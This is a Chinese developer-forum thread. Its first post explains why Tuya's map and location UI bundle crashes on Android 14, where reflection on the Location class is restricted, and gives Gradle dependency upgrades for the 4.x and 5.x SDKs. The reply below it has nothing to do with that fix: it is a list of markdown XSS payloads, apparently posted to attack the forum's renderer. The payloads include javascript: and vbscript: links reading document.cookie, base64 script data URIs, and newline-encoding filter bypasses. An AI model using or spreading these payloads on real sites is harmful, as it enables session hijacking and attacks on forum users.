关于 涂鸦 APP 地图 UI 业务包在Android14手机上执行定位导致APP崩溃的问题说明和解决方案

App开发相关产品技术讨论,包括OEM App、App SDK、设备控制界面开发、小程序开发等话题


Post Reply
daxiong
Posts: 13

问题背景:
Android14 beta 版本发布之后,谷歌官方针对非 SDK 接口的限制做了更新,其中对定位功能的 Location 类的多个既有历史方法和新增方法做了反射限制,比如:
1.新增方法:getMslAltitudeAccuracyMeters()
2.历史方法:getLongitude()
诸如此类方法还非常多,详情可参考:https://developer.android.com/about/ver ... 4?hl=zh-cn

下载对应csv文件,可查询限制类名:Landroid/location/Location

但是这个类在Android13系统及之前是不受限制,详情可参考:
https://developer.android.com/guide/app ... s?hl=zh-cn

问题原因:
基于业务需要,涂鸦地图定位组件提供了获取当前定位信息的方法,存储该定位信息的Javabean封装了Location对象做序列化传输,而不管是Fastjson还是Gson序列化和反序列化都需要使用反射,从而在Android14系统上被禁用。
简而言之就是,Android 14 系统不允许反射调用Location类的方法,Android13及之前系统是允许的,而我们做序列化传输反射使用了该类的方法,从而在Android14系统手机上触发了crash,而在之前的Android系统版本不受影响,可正常使用

影响范围:
1.影响的客户:接入的 地图定位UI业务包
2.调用了地图定位 UI 业务包的定位功能

解决方案:
针对4.x 和 5.x SDK版本的,请将 地图定位 UI 业务包 分别升级到对应系列最新版本,确保您接入的版本保持在如下:
4系列版本,请至少升级到如下版本:
1. Google Map

Code: Select all

dependencies {
	implementation 'com.tuya.smart:tuyasmart-bizbundle-map_google:4.2.0-33'
	implementation 'com.tuya.smart:tuyasmart-bizbundle-location_google:4.2.0-33'
}

2. 高德地图

Code: Select all

dependencies {
	implementation 'com.tuya.smart:tuyasmart-bizbundle-map_amap:4.2.0-33'
	implementation 'com.tuya.smart:tuyasmart-bizbundle-location_amap:4.2.0-33'
}

5系列版本,请至少升级到如下版本:
1. Google Map

Code: Select all

dependencies {
	implementation 'com.thingclips.smart:thingsmart-bizbundle-map_google:4.8.0-6'
	implementation 'com.thingclips.smart:thingsmart-bizbundle-location_google:4.8.0-6'
}

2. 高德地图

dependencies {
implementation 'com.thingclips.smart:thingsmart-bizbundle-map_amap:4.8.0-6'
implementation 'com.thingclips.smart:thingsmart-bizbundle-location_amap:4.8.0-6'
}

兼容时间:
1. 5.x 兼容发布时间:2023年6月15
2. 4.x 兼容发布时间:2023年6月25
3. 3.x 未兼容,请您自行升级到 4.x 即可(4.x 兼容 3.x)


Tags:
atom
Posts: 1

Re: 关于 涂鸦 APP 地图 UI 业务包在Android14手机上执行定位导致APP崩溃的问题说明和解决方案

[XSS](javascript:prompt(document.cookie))
XSS(j a v a s c r i p t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
XSS
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
XSS
XSS
XSS
[XSS](javascript:alert(1))
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
XSS
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
Image\

Post Reply